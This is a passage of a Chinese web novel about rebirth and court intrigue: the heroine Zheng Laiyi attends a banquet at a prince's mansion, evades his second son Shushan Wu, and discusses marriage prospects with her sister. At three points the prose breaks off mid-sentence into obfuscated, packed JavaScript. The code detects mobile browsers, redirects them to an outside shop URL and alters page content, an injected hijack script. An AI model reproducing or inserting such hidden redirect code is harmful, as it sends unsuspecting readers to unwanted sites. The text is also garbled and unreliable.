当下整衣肃拜,在舅舅面前端正行了一个晚辈的大礼,目光中有了几分不舍。 “乖丫头!在家多听你娘的话,舅舅打胜仗回来第一个看你!”李澹拍了拍侄女的肩膀,转身重又登上了坐骑。 郑来仪视线落在李澹身后的将士阵列中,目光顿时在某处凝固。 那是紧跟在李澹身后一个正调转马头的男子,全幅盔甲包裹住他铁塔一般的身型。那人的视线正自上而下地扫过郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叔山寻扎根北境二十余年,戎马半生,刀霜剑雨里穿梭过的人,怎会因朝廷一纸调令就此困住?槊方乃是叔山氏故土,那里会有多少如同田衡一样怏怏不服的槊方宿将?舅舅虽为宗室子弟,在槊方确是外系将领,对田衡这样的本镇将卒管理难度可想而知。 现在想来,前世舅舅意外死于槊方任上,难道其中没有隐情? 郑来仪持鞭的手微微发颤。上一世被叔山梧所蒙蔽,错过了太多细节。 她在玉京的街道上一路飞奔,似在追赶那轮正在倾颓的红日,风卷起裙角,有种身处噩梦中,无论如何奋力奔跑都赶不到目的地的绝望。终于看到“敕建平野郡王府”的朱漆大门时,夕阳完全沉入地底,天色已经大暗。 郑来仪翻身下马,如雷的心跳渐渐平息下来。 门口停着各式的宝马香车,挤挤挨挨,看来里面筵席尚未解散。 她在阶前站定,努力平复着急促的呼吸。 王府门前的阍者看见她孤身一人站在门前,一身衣裙简洁而不失贵族气质,只是面色苍白,额头还有晶莹的汗珠。心中微微纳罕,缓步迎了过来。 “姑娘,你——” 郑来仪正欲回答,对面的人的视线越过了自己,神色陡然变了。 身后有脚步声渐渐靠近,她心头突然没来由得一阵发慌。只听对面的阍者扬声向着王府门内高喊。 “二公子!是二公子回来了!!” 15. 醉客延醒客 郑来仪的身型定在石阶上。 熟悉的气息从身后靠近,高大的身型带来的压迫感是如此清晰。她感觉自己像一根绷紧的弦,濒临断裂。 男人与她擦身而过,将她肩上的折枝花缬纹湖水蓝帔子微微带起。 阍者看清了久违的叔山梧,连忙不迭转身向门内高喊:“二公子回来了,快去禀告王爷”,一边上前喜道,“太好了!二公子终于回来了!!今日王府烧尾宴,这下可算圆满了!” “烧尾宴?”叔山梧挑了挑眉。 “是呀,王爷受勋,今日在府上宴请朝中各位同僚,筵席才刚开始没多久,方才宫里的使者才刚离开呢!” 阍者的语气不无得意,但二公子的反应却十分冷漠,他面上洋溢的笑容一时尴尬,注意力重新落到了郑来仪的身上。 “哎呀!恕罪了小娘子,敢问府上是哪一家?可有拜帖在手?” 郑来仪能感觉到叔山梧的视线也跟着转向了自己。 短短的一会功夫,她心中已经转过一百八十个念头。此刻她无比庆幸鹤臯山中并未将真容暴露在叔山梧面前。 她微微转身,屈膝向身旁抱臂站着的人行了一礼,自始至终低垂着眼睫,未曾抬头与叔山梧对视。而后转过身去,冲着阍者指了指自己的喉咙,面带歉意地摇了摇头。 阍者理会得快:“啊!小娘子是不方便说话么?那……不若写给小的?——稍等!” 郑来仪从迅速跑回来的阍者手里接过笔,余光瞥向身旁——叔山梧身型未动,似乎也正等着看她自报家门。她只好咬牙提笔,缓缓写了一个“李”字。 “李……” 阍者思索了一瞬,一时间想不起今日来的贵客哪一位姓李,难道是皇室宗亲?他疑惑间神色愈发恭谨,“这样吧,小娘子稍等,小的这就叫婢子来带您进——” “不必了,我带她进去吧。”叔山梧蓦然开口。 郑来仪随着叔山梧踏入府门穿堂入院,始终离着他五步开外的距离,远远跟在后面。 她其实并不需要任何人引路,作为这座府院曾经的女主人,她对这里的熟悉程度仅次于国公府。前世最后的日子,她便被囚禁在这里,几乎用脚步丈量过院中每一寸土地,闭着眼都能走一个来回。 郑来仪垂着脑袋,没提防前面的人何时停了脚步,猛地撞在他的后腰。男人的身体坚硬结实,顿时撞得她眼冒金星。 她揉着发酸的鼻子,这才发觉他们停在花园中一处分叉的小径上。蹙着眉抬眼时,男人也正垂眸望过来。 叔山梧的眼中看到的,便是这少女似乎因为慌乱无措而发红的眼。如一只迷茫无助的兔子。 “抱歉,今日也是我头一回来。”他自嘲地笑了笑,低声道,“也不知李姑娘的家人会在哪里呢……” 宴席应当设在正厅,而他们不知觉间已经走到了内院。约莫是今日客人多,下人们都在前面忙碌,此处更无人烟。 花园僻静,不知何处飘来幽香阵阵,更显气氛暧昧。 郑来仪微微蹙眉,抬手朝着灯火通明的南面洞门指了指。 “姑娘的意思,或许是在那边?” 叔山梧看向郑来仪手指着的方向,点了点头,“——看来是在下带错了路,走吧。” - 平野郡王的烧尾宴,出乎意料的热闹。 尽管朝廷对出身“麒临系”的叔山寻防备之心颇为明显,并不妨碍世家贵族们借着这宝贵的机会,前来观望一眼这位传说中的“青山将军”的虚实。更何况借他人的地盘饮酒交际,是皇城底下无所事事的富贵闲人们最爱做的事情。 如郑国公这样举家收到邀约的同僚倒是不多,郑远持上位时推拒了好一番,最终还是熬不过主人的坚持,和叔山寻共同坐在了上首。李砚卿则带着郑绵韵去了一帘之隔的女眷区。 酒过三旬,气氛开始活络。大祈民风开放,客人们出身姻娅关系交错的世家,大多彼此相熟,男女客人们便不再拘于帘幕之隔,同坐一处饮酒谈笑。 容氏引着李夫人和郑三小姐来到丈夫身边,拉过一个人来。是个一身墨绿缎袍,头戴纱冠,姿态俨雅,细看五官轮廓与容氏有几分相似的青年。 正在说话的叔山寻和郑远持一同看了过来。 “阿柏,来拜见国公夫人。” 李砚卿当下便猜出几分:“这便是……大公子?” 被问到的人对着李夫人恭敬行礼,眉眼温煦:“叔山柏拜见国公夫人。” 郑国公已经见过叔山柏,当下笑着对自己妻子道:“郡王爷这位公子,可是从小养在身边,从小在边关长大,难得养出如此端方的‘人间琢玉郎’来!” 李砚卿含笑点头,再看一眼叔山寻:“与王爷戎马气概相比,令公子倒是确实显得内敛不少。不知将来有何打算?” 谈到“将来打算”,既可理解为学问仕途,亦可理解为娶亲成家。既是国公夫人发问,似乎更宜理解成后者。 容氏看了一眼丈夫,欲言又止。叔山寻捕捉到妻子的信号,沉眉不语。 反而是叔山柏自己开口:“禀夫人,弥茂自小随父母亲长在北境,开蒙念书常在军营号角之中,从来知道边关将士以身膏草野,捐躯乃命!如今远离家乡来到玉京,虽于关内风土都城人情一窍不通,一颗赤子之心却难自弃。若能蒙不弃,容弥茂拜于国公爷门下历练一番,成全报效朝廷的拳拳忠心,阿柏幸甚!” 一番话诚恳剖白,听得周边不少人内心暗叹:叔山寻不仅会带兵打仗,养个儿子居然也如此成器。然而想到如今朝廷对叔山氏的明褒暗抑,一时神色复杂,都看着郑远持如何反应。 郑远持捻须微笑,尚未来得及说什么,叔山寻却冷冷道:“你这口气也太大了些,可知道国公爷的学生都是什么样的人物!” 叔山柏顿时面红过耳,神色有些难堪。 李砚卿在旁当即解围的语气:“大郎胸中有丘壑,是好男儿,只是老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281317|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经许久不曾收过学生了,就怕误人子弟呢!” 容氏也笑起来,相较丈夫叔山寻,言语中回护之意明显了不少:“夫人说得哪里话!国公爷乃朝廷股肱,茂郎也是胸怀敬仰,才敢斗胆说出高攀的话来,看在他一片诚心的份上,不要笑话也便罢了……” 叔山寻冲着儿子一扬下巴:“还不快向国公爷敬酒,赔你的失礼之罪!” 叔山柏手持酒杯,神色中不无失落,却依旧恭恭敬敬道了一声:“是弥茂不知天高地厚,冒犯国公爷,多谢夫人容宥!” 说完一仰头将酒干了。 郑远持摇头笑说“言重”,半责怪叔山寻对大郎太过严厉,显得自己家教不足。这么玩笑了几句,方才尴尬的气氛便消弭于无形,却也没再提拜师的事。 主桌上一时又恢复了男人和女人各自分开饮酒闲话的局面。 李砚卿突然想到什么似的,一转头,“绵韵——咦,这丫头呢?” 容氏见状忙道:“方才看三小姐有些不胜酒力的样子,许是喝得有些急了,去外面吹风,我看丫鬟跟着呢,夫人不必担心。” 李砚卿点了点头,面上挂着些无奈:“虽说我们家里姑娘多,但个个是有主意的,也是老爷和我从小太过娇惯了,难养得很呢!” 容絮听着国公夫人言下之意,似乎要是有合适的人家,愿意帮着养一养,也无不可。 她迅速看了一眼身旁的叔山柏,意有所指道:“妾最近也时常有这样的感觉呢,孩子大了,有自己的想法,或许啊,也是该离开父母,有自己的世界要去闯荡了……” 李砚卿便问:“我记得王妃说过,大公子是刚加冠礼,那便是……昭宁十五年生人?” 容絮连连点头:“是呢,茂郎是癸卯年正旦生的,属兔。” 她打听过,郑国公膝下的子女中,如今尚有两位姑娘尚未婚配,其中小女儿郑来仪是夫人嫡出,可今日不知为何,来的只有庶次女郑绵韵。 李砚卿这边厢,心中正在默默计算:绵韵比叔山家大郎小一岁有余,属龙,倘若二人有意,也得找机会请先生测算一下八字。 她这几日也听说了一些传闻,绵韵心中对兵部尚书家的小儿子其实并不排斥,只是出于害羞没有对长辈言明,自己和花实在这里替她筹谋,或许未必就遂她心意。 心中暗叹一口气,思路便移到了郑来仪的身上。 她反正是不想让自己这女儿嫁入宫中、或是离自己太远的,倘若郑绵韵对叔山家大郎没心思,椒椒也未尝不可——这丫头属蛇,似乎和属兔的更契合些呢…… 李砚卿正在出神,容氏鉴貌辨色,试探的语气:“我听说……府上除了三姑娘,还有个四姑娘也在夫人身边,今日为何没有随着一同过来?” 席案那一头,几乎是同时,郑远持问起叔山寻:“老夫听闻郡王爷有两位公子,今日如何不见二郎?” 李砚卿:“来仪……” 叔山寻:“二郎……” 16. 芳心事可可 廊下两道人影应声出现,觥筹交错人声熙攘的内堂一时安静下来。 众人视线齐齐向外,目光均是一亮。实在是门外站着的这两人,男人气势逼人、英挺如山,女子垂螺浅黛、修眉丽目,光是看着便足够养眼。 叔山梧身型高大,廊下的烛火被他遮在身后,在厅内投下长长的阴影,越发显得他身边的郑来仪娇小无比。 厅中有分别认识这二人的,更因他俩同时出现而颇觉奇怪。 “椒椒?” 李砚卿站起身朝郑来仪走过来,看一眼她身旁眉峰冷峻的男人,转身扯住女儿的手,低声:“不是不舒服?怎么又来了?” 郑远持看着站在屋外的母女二人,笑着扬声道:“就知道你这丫头耐不住寂寞,快到阿耶这里来!” 郑来仪被母亲带过来入了座,面上挂着拘谨的笑意,抿唇一言不发。 郑国公一时没察觉出女儿的异样,只对叔山寻夫妇无不骄傲的语气介绍:“——这便是我那四丫头,椒椒,快来给郡王爷和王妃问安。” 容氏的视线已经从门外站着的人身上收回,笑容热络地伸出手来要握一握郑来仪:“天老爷!看看,还有这样标致的人儿,我今日真是得见了!” 郑来仪任容氏抓住一只手,眉眼低垂,乖顺无比的仪态。 只是眉眼余光瞥见廊下的另一人依旧站在那儿,仿佛他是专为护送自己过来的,里面的热闹与他全不相干。 叔山寻始终端坐筵席中,锐利的视线射向廊下站着的人,带着一身与席间的热闹格格不入的冷傲。 二郎可见的瘦了,上一回见他还是几年前在祈州城外,他埋没在黑色的阵列中,甲胄加身,那时还是锋芒十足的少年气概。 父子二人一明一暗中沉默对峙的样子,终于让席间众人察觉出一丝不同寻常的气氛。 “正说到二郎,你就回来了,” 容氏终于松开了郑来仪的手,打破这僵局,向着叔山梧道,“还不快进来坐下。” 一旁的叔山柏也已起身唤人:“阿梧,进来吧。” 叔山梧冷冷掀眉,看向堂中坐着的人。叔山寻突然从席上站起,冲郑远持略一颔首,低声:“国公爷见谅,小王去去就来。” 郑远持颔首,带笑看一眼外面的叔山梧:“无妨无妨!令郎远归,定然有话要叙,王爷请便。” 叔山寻迈出厅堂,经过叔山梧时沉声:“你跟我过来。” 平野郡王带着叔山梧离席后,厅内宾客中出现了短暂的沉默。 郑来仪坐在热闹的厅中,紧绷的神经终于能放松了些。 容氏带着身为女主人的自觉,推着叔山柏向席上的贵宾一一敬酒,又招呼着把一道外酥里嫩肥而不腻的红羊枝杖推上席来。一边笑着说这羊是王爷托人从关外带回来的,宰杀腌制用的都是胡人的秘方,是京畿不容易尝到的味道。 大家笑谈间大快朵颐,这才将气氛重新活络起来。 容氏终于有功夫转过头来,满脸笑意的向着郑来仪:“方才正和夫人说到四姑娘,这便盼来了!来晚了些也不妨事,后面还有好菜呢!” 一边转身招呼下人,“去,切一块烤羊腿下来给四姑娘……” 郑来仪看着容氏热情洋溢的脸,始终维持着端庄却疏离的笑意。 当年嫁给叔山梧后,他们便与公婆分开居住,郑来仪与这前世的君姑来往并不多,对容絮的印象也仅仅停留在一个尽心服侍丈夫,在儿子面前全然说不上话的母亲形象。 李砚卿方才趁女儿落座时问了几句,郑来仪只说家中待着无聊,想了想还是来凑个热闹。眼下见她在容氏面前一味地低垂眉眼不多讲话的样子,还以为是放不开,便替郑来仪解围道:“她这几日胃口不大好,在家里也是挑食得很,王妃不用管她,我们自吃我们的……” 容絮恍然且自责的语气:“是了,我怎么忘了,姑娘家吃多了油腻的不好克化,眼下又快立夏了,玉京气候炎热,我叫他们准备些清爽的吃食来给姑娘!” 又喊不远处的叔山柏:“茂郎!你亲自去酒窖里,取一壶母亲自酿的玫瑰冰露来!” 叔山柏隔着人群遥遥看了这边一眼,点头应是。没多久便带着酒,身后还跟着两个下人,手里端着几样爽口的菜式和果子,一起端到了郑来仪面前。 郑来仪不好推拒,端起斟好的冰酒,在容氏殷切的注视下微抿了一口,而后淡淡舒展眉眼,轻声表示可口。 “这丫头!怎么好生的如此标致!”容氏看着郑来仪一举一动,又忍不住感叹,满心的喜欢似要从眼睛中都溢出来,让一旁的叔山柏都颇觉不好意思,看向李砚卿笑了笑。 李砚卿忍不住道:“哪有王妃说得那么好,说实话,我们家几个丫头,椒椒说不上是生得最好,可一定是最有脾性的!” 容氏闻言,又看一眼眉眼低垂乖顺如鹌鹑一般的郑来仪,满脸不信服的神情,嘴上却道:“有个性好!有个性不会吃亏!国公爷的爱女,没有些主意哪里显得出大家风范?” 心中盘算,这样身份的贵女,哪有不娇惯的,国公夫人如此说,不过是为女儿先行背书罢了。 言罢看了叔山柏一眼,意有所指道:“我们大郎却是个脾性温吞的,待人处事都太过和善,若有人能时刻从旁提醒着,我们做父母的也好少费心呢!” 李砚卿抿唇但笑不语。 话题的中心人物却无心理会这你来我往的试探。郑来仪端着杯盏,一口茶、一口酒地小口抿着,视线却在热闹的席上逡巡。 来的客人不少,有些曾在父亲身边见过,出现在此处并不奇怪。有些则稍显面生。 比如坐在靠门边清净些的位置里,正自顾自说话的两位。一个体型微胖,满脸胡茬略显粗犷,另一个高高瘦瘦,眉眼狭长,面带精明之相。 她搜刮记忆,想起来这二人身份:一个是后来的揆州刺史爨同光,一个是渝州刺史罗邕。 揆州和渝州地处偏僻的西南,都是天高皇帝远的地方,爨氏本为西南夷,自前朝归顺中原王朝后,便始终由夷人自治;而渝州则被东西强藩挤压,存在感一直不强,这两处却是后来叔山氏兵起时,首当其冲呼应的地方。 郑来仪微眯起眼,叔山氏在边境地方素有累积,此刻便能窥见一斑,只是不知在中枢又有势力几何。 她下意识地在席间寻找来自六部的官员,却都是些领闲职的纨绔面孔,无甚紧要——除了唯一代表兵部前来恭贺叔山寻的兵部侍郎刘烈,此刻正拉着郑远持,面色不无严肃地谈些什么。 郑来仪忽地转头,低声问母亲:“绵韵呢?” “方才喝多了些,估计在后面吹风。” “女儿去看看她。” 算时间三丫头离席是有些久了,李砚卿点了点头,看着女儿起身,缓步消失在厅门外。却见桌案那一头,刘烈也已经离席,而郑远持正眼神示意自己过去。 她冲容氏笑了笑,去到丈夫身边坐下。 “方才那小子看见了吧。”郑远持低声道。 李砚卿一怔,随即反应过来丈夫指的是叔山家二郎。于是微微颔首,小声道,“这家二郎倒似乎有些孤僻,和他母亲不大像呢……” “两日前护送顔司空灵柩入都的就是他,这叔山二郎是顔青沅的学 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李砚卿一时有些头昏脑涨,这两个丫头,没有一个省心的。绵韵借口出去吹风已经好久了,显然面对长辈安排的相看并没什么热情。 - 郑来仪出正厅,穿过游廊走到水榭中央,此处视野开阔,庭院中景致一览无遗。她没什么心思观赏风景,视线很快在捕捉到远处假山边上绯色石榴裙的一角。 迅速向周遭打量一圈,见并无旁人,郑来仪放轻脚步走到了假山边,倏忽出声。 “怎么还不回去?” 坐着的郑绵韵一惊,受惊的兔子一般跳了起来,看见来人面露意外喜色。 “椒椒,你怎么来了?” 郑来仪环顾周遭,石桌四角各摆了一只石鼓凳,郑绵韵占据了其中一个,除此外似乎并无异常。 “人呢?” “什、什么人?”绵韵有些结巴。 郑来仪眯起眼睛看她:“你一个人躲在这假山后面,吹风吹到了现在?”一边佯做张望的样子,“——荇儿呢?跑哪儿偷懒去了?” 绵韵看来仪虚张声势的样子实在好笑,她知道自己这妹妹一向眼神毒辣,索性也不瞒他。 “方才遇到了他,就在这里说了会话。” 郑来仪收敛了玩笑的神色:“他?是杜境宽?” “是。” “你真的喜欢他?” 郑绵韵一手托腮,真挚思考的语气:“说不好……其实我知道母亲今日是想让我相看叔山家的公子,我却知道自己对那叔山柏无甚感觉。” 她一向性子温和,说“无甚感觉”,已经是颇为冷静严厉的论断。 反而是今日第二次见面的杜境宽,默默关注着她在席间局促,待到她离席,便大方过来同她说话解闷,坦荡磊落的样子,让她放松且舒适。 绵韵转过头,认真看着郑来仪:“椒椒,什么叫喜欢?诗中说一见知君即断肠,世间果真有这样的因缘么?” 郑来仪一时哑然。 倘若是上一世的郑来仪,一定会握住姐姐的手,眼神发亮地告诉她有的,等缘分来时你就知道了。 可她有过一见倾心,结果并不美好,甚至惨烈。 郑绵韵等不到回答,又问:“难道你也觉得,叔山柏看上去更好些么?” “自然不是。”这一回来仪的语气却出乎意料的笃定。 郑绵韵微微一愣,突想起方才杜境宽和她聊起的事,看着来仪的眼神突然玩味。 “不过,叔山家有两位公子,另一个或许会不一样。” 17. 月明燕夜语 郑来仪的语气蓦地冷淡:“不是一家人,不进一家门,既然哥哥不咋的,弟弟定然也不过尔尔。” 郑绵韵却摇头:“说公道话,叔山柏生得不差,一副谦谦君子气度,很知进退的样子,弟弟应当也不会差。” 她看着郑来仪,刻意放慢了语气,“——至少不可能是身长五尺、膀大腰圆。” “你……什么意思?” “椒椒,你在鹤臯山遇到的人就是叔山家二郎对不对?人家好歹救了你一命,你何故在背后诋毁人家?” “我、我什么时——你怎么知道?” 郑绵韵方才与杜境宽闲聊时,和他谈及本该一道来的幺妹,刚刚从南边探亲回到玉京,在路上还遇了险,多亏一个姓叔山的小将军方才化险为夷的故事。 杜境宽身为兵部员外郎,曾在数年前随上官赴边境巡视时见过叔山梧一面,此人令他印象深刻,听完便猜想到她口中这男主人公大概是谁。 绵韵一时哑然,下意识便问杜境宽,这叔山家的二郎如此英雄人物,只是长相是否有些……可惜? 杜境宽听她如此委婉的措辞,一时愣怔,说三姑娘怎么会有此一问? 绵韵于是老老实实传达了郑来仪的原话。 杜境宽先是当场笑岔了气,而后正色且公允地表示,虽然和兄长叔山柏气质略有不同,然而叔山家二郎身长九尺,说气概拔群毫不为过,至少不会如四姑娘所言——“还不如杜境宽”。 最后玩笑的语气:四姑娘如此败坏叔山梧在贵女们心中的形象,看来是别有用心的。 郑来仪听到这里,断然斥道:“我能有什么用心?这个杜境宽,真会臆测!” 郑绵韵实在不解:“所以你为什么要那么说?还说人家像西市卖猪肉的……” “我、我随口说说,你那么当真做什么?” “可是你从小不是最欣赏那些气质硬朗,果敢英武的军中男儿么?舅舅带兵演武,你还会跟着去看……” 郑来仪嘴硬:“军人守卫疆土,护境安民,自然值得敬佩欣赏,那和叔山梧有什么关系?” “他……难道不也是守卫疆土的军人?”郑绵韵愈发奇怪。 “我……今日是给你相看郎婿,老是扯我作甚么?!”郑来仪猛地起身,颇有些恼羞成怒的样子,声音也控制不住地高了。 郑绵韵一怔,连忙放低声音去哄:“椒椒,别生气啊……我只是觉得有些奇怪,你不喜欢提,不说就是了。” 郑来仪看着语气温柔的自家姐姐,气息平复下来,心头涌起一阵没来由的愧疚。 她明知叔山氏绝非良配,却也只能暂顾全自己,眼看着绵韵被父母带到狼窝里去。在叔山梧面前装聋作哑,下意识希望他不要认出自己,甚至……将绵韵误认作在鹤臯山与他相遇的人也可以。 此刻又因为自己的这个自私的念头有了负罪感。 郑来仪的声音放软,语气诚恳了不少:“姐姐,我没有生气,我只是觉得……女子将一生幸福寄托在别人身上,实在风险太大。” 郑绵韵闻言若有所思。 “若你真心喜欢一人,门阀背景、能力样貌,这些都不算是最重要的,唯一便是,他需以真心待你。” 郑来仪看着她,语气莫名严肃。 郑绵韵看着妹妹依旧生嫩的面孔,一时有些恍惚,仿佛她已经历过足够多的坎坷,以过来人的身份谆谆告诫。 郑来仪的话只说了一半。真心与否,有时很难分辨,更未必能始终如一。若能合则聚,不合则散,也算足够圆满了。 虫鸣阵阵中,晚间的风从水榭上吹过来,带着藕花的香气拂动少女的发丝,驱走白日的燥热。 橐橐的脚步声打破静谧。郑来仪和郑绵韵俱是一惊。 “谁?” 此间的主人从假山后缓缓步出,在姐妹二人面前站定。 “是本王失礼,惊扰二位姑娘。本来不该打搅,实在是和犬子说完话要到前面去,路经此地,绕开又显得不够磊落,无意偷听,三小姐和四小姐切莫在意……”叔山寻面带笑意地解释。 他身后,一个挺拔的身影陷在假山投下的阴影里,一时看不清面容。 郑来仪面色微僵。 不用看脸,她也知道那后面的人是谁。她心中懊恼,方才只顾着和绵韵讲话,怎会忘了自己身在何处,连戒心都放下了。 暗处的人一双眼睛始终注视着郑来仪,看着她无声却警觉的样子,如一只拱背炸毛的狸奴。 从在门口时叔山梧就认出了这位郑小姐,她却欲盖弥彰地自称姓李。 真是颇有意思。 叔山梧勾了下嘴角,被父亲喊断了。 “阿梧,来见过二位姑娘。” 他上前一步,向着郑来仪和郑绵韵一揖,声音无波无澜:“叔山梧有礼了。” 郑来仪不说话,也没有接受赔礼的样子,姿态只比他更冷。 郑绵韵看着传说中的叔山二郎出现在眼前,心道杜境宽诚不欺我,许是自小在军中磨砺的经历,他没有半分世家公子中常见的沉肩耸背的姿态,身姿挺拔如松。 叔山寻突然想起什么似的,微笑道:“对了,我听阿梧提过,和四姑娘之前是见过的,所以今日才会一道过来。” “不——” “不是一道,我和二公子只是凑巧在府门前遇见。” 叔山梧的视线移向突然矢口否认的郑来仪,重又抿紧嘴唇,嘴角似带嘲讽之意。 叔山寻便道:“虽非有意偷听,但四姑娘睿见卓识,不攀附真性情,实在令本王佩服!” 郑来仪面色一僵:“只是些小儿女情绪,如何入得了王爷的耳,让您见笑。” 这服软的语气,一如那日鹤臯山洞中,她低眉顺眼的姿态。 叔山寻语气中带了几分深刻笑意:“不过,以两位姑娘出身,想来本就无需去攀附谁,倒是若有人刻意接近,倒难免被视作是别有用心。今日席上,若是贱内让二位姑娘有什么不舒服的地方,本王代为道歉。” 郑绵韵心思纯善,闻言大觉惭愧,摇手道:“王爷哪里的话!王妃和大公子一番安排,颇为用心,并无半点让人不舒服之处……” 她心中暗自担忧,不知方才一番得罪人的话被这父子听去了多少,一扯来仪的袖子,心虚地向叔山寻回礼。 “王爷和二公子莫怪,是我们姐妹在此闲话忘了时间,这便要归席了。” “好罢。” 叔山寻看一眼郑来仪,而后对着她身边的郑绵韵道,“府中刚刚修葺完毕不久,内院稍显杂乱,既然两位姑娘也要归席,不如便由本王护送?” “哦,好。” 郑绵韵没有拒绝的理由,她跟在叔山寻后面,脚步略显仓促,想要落后半步等等来仪,可叔山寻却时不时转头与她闲话几句,于是只得打起精神应付。 渐渐地,后面两人便拉开了一段距离。 郑来仪缓缓走在暗香浮动的小径,草丛中虫鸣阵阵,惹得她心头一阵烦闷,身上便起了燥意。 她手中团扇竖起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305918|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在面前微微扇动,旁边人冷不丁出声。 “看来姑娘的喉疾已经好了。” 郑来仪脚步一顿,好在面上的僵硬被夜色掩去了大半。 “我的匕首,姑娘什么时候可以还我?”叔山梧索性站定了。 “……今日未带来,过两日我找人送来。” 叔山梧略低了头:“我不住王府,明日便登门去取吧。” 郑来仪一时疑惑,没有说话。 “郑小姐是不方便?那便等我过阵子回来再说吧。” “你不待在玉京么?要去哪里?”郑来仪终于忍不住问。 叔山梧扬了扬眉,捕捉到她紧张的视线,眸光微敛。 “……我是说,二公子刚回到玉京,眼下四境皆安,这时候又要去哪里?” “有些事情。”叔山梧抿了抿唇。 “是要去做什么危险的事么?需要随身带刀?” 郑来仪压抑着口吻,让自己显得不那么像盘问的口气,脑中念头动得飞快。 “在下是行伍之人,行走带兵刃本就是习惯……”他没接着说下去,面露玩味。 意识到自己实在显得关心过甚了,郑来仪的脸上红一阵白一阵,落在对面的人眼里,有了几分羞赧的意思。 而叔山梧却没再言声,似是不想让她难堪。 二人沿着小径缓步而行,始终保持着一人的距离,男人束紧的黑色衣袖与她飘拂的轻纱帔帛不时相触,硬挺与柔软刮擦,发出几不可闻的声响。 就在郑来仪觉得他们能一路相安无事回到前厅时,叔山梧再度出声。 “所以姑娘当真认为门阀背景不值一提,真心相待才最重要?” 四下阒然中,郑来仪的声音冷如霜箭。 “当然。” 她抬眼,极致冷静地,“不过这是我一家之言,视真心如草芥者,也是有的。” 叔山梧终于看清她的眼睛,和她的声音一样,质洁冷傲,如天上孤悬的弯月。 只是深色的瞳里带着浓浓的距离感和……敌意。 他对敌意并不陌生,猜测她反感的是今天的场合,还有被父母安排生出的反骨。 “你说得对。”叔山梧点头认同,神色坦然。 郑来仪扬着头,见他并无半分领受自己指责的自觉,拳头攥紧,语气益发冷了:“霁阳一战,二公子立下跳荡大功,还未来得及恭喜。” 叔山梧漠然道:“恭喜二字,今日这府中听过太多次。” 他的视线投向花园那一边,喧嚷的人声被矮墙阻隔,只有一盏盏烛火将夜幕映出热闹的红色。 “——喜的是他们,霁阳与这喜悦,并无半分关系。” 郑来仪心中一动。 曾经她在山中一见钟情的叔山梧,少年飒爽,骄傲肆意,却在霁阳一战后,可见地失去了明亮的底色,整个人沉寂下去,变得日益乖戾、阴暗,愈发难以接近。 此时的她,似乎窥见了几分玄机。 “我曾从别处听说过霁阳一战最后的惨状,城中最后补给皆空,竟然出现人吃人的惨状——” 她轻柔的声音带着凉意,如匕首现于图穷,“——所以二公子的师父颜司空他……最后真是自刎的么?” 叔山梧抿紧的唇一瞬间失去血色。他五官本就深邃,此刻眉眼间阴影更重了几分。 这样的他郑来仪并不陌生,此时却没那么害怕了,她就这么静静地看着他。 似蝮蛇释放完毒素,淡漠地旁观受害者暴露无遗的脆弱。 18. 归梦隔狼河 静夜的花园中起了淡淡的薄雾,叔山梧的视线一时如被硝烟笼罩。 漫天黑烟,火光冲天的霁阳城,幸存者沦陷于劫后重生的喜悦中,战士们脱去身上的盔甲,扔掉手中的兵刃,大声的哭笑,嘶喊,嚎叫。 叔山梧在癫狂混乱的人群中猛地回身,师父一身鳞甲站在城墙高处,鬓发缭乱。 颜青沅手持陌刀,嘴唇喃喃翕动着,除了叔山梧,无人顾全到他的异样。 他的师父将长刀横在颈边,空茫的目光最后投向了劫后余生的霁阳城,而后阖上眼割破了自己的喉咙。 夕阳映照在鳞甲上,闪耀着刺目的光,一袭金光从城头轰然坠落,如流星坠向大地。 “师父!!” 叔山梧面色泛着青白,胸口剧烈地起伏,他伸出手向城墙上站着的人,这一次并非徒劳,而是切实地抓住了什么。 郑来仪的手臂被他攫住,下意识便要往回挣,可男人的力气大得离谱,她越挣,对方箍得越紧,他手背上青筋暴起,骨节一如脸色森白。 “师父……不要……” 叔山梧喃喃着,他此刻的脆弱触手可及。郑来仪冷静下来,任他抓着自己,身体被男人的动作带得微微摇晃。 他却垂下了头,渐渐松了力道。少女袖间的幽香随着轻风丝丝缕缕地笼罩着他,让他的神智逐渐回到身体。 “我失态了……” 他的肩背不再挺直,呼吸尚有些急促,似乎刚刚结束一场长途奔袭。 “无妨。看来霁阳一战,当真惨烈呢。” 郑来仪缓缓抬起头来,盯着眼前人的脸,了然般地叹息。 “杀妻之愧,想来任何人都是难以自渡的吧……” 叔山梧瞳孔中带着残留的血红,一时间听不清她说了什么,却在她冷冽的话语中逐渐平息下来。 他们此时靠得很近,彼此之间呼吸相闻,远远看去,便似交颈一般。 “还是等等椒椒她——” 已经走到月门的绵韵不放心地回头,郑来仪和叔山梧二人之间十足暧昧的距离落入眼帘,当即怔住。 “阿梧会护送四姑娘,还不至于在自己家中迷路的,三姑娘不用着急。” 叔山寻转过身,视线也停在小径上的一双人影,面上一瞬闪过难以察觉的深意。 - 如龙的车马从郡王府门前流水般退场时,饶是得体的女主人也已经面露倦色。郑国公一家离开时,叔山寻亲率妻儿亲到门口送行。 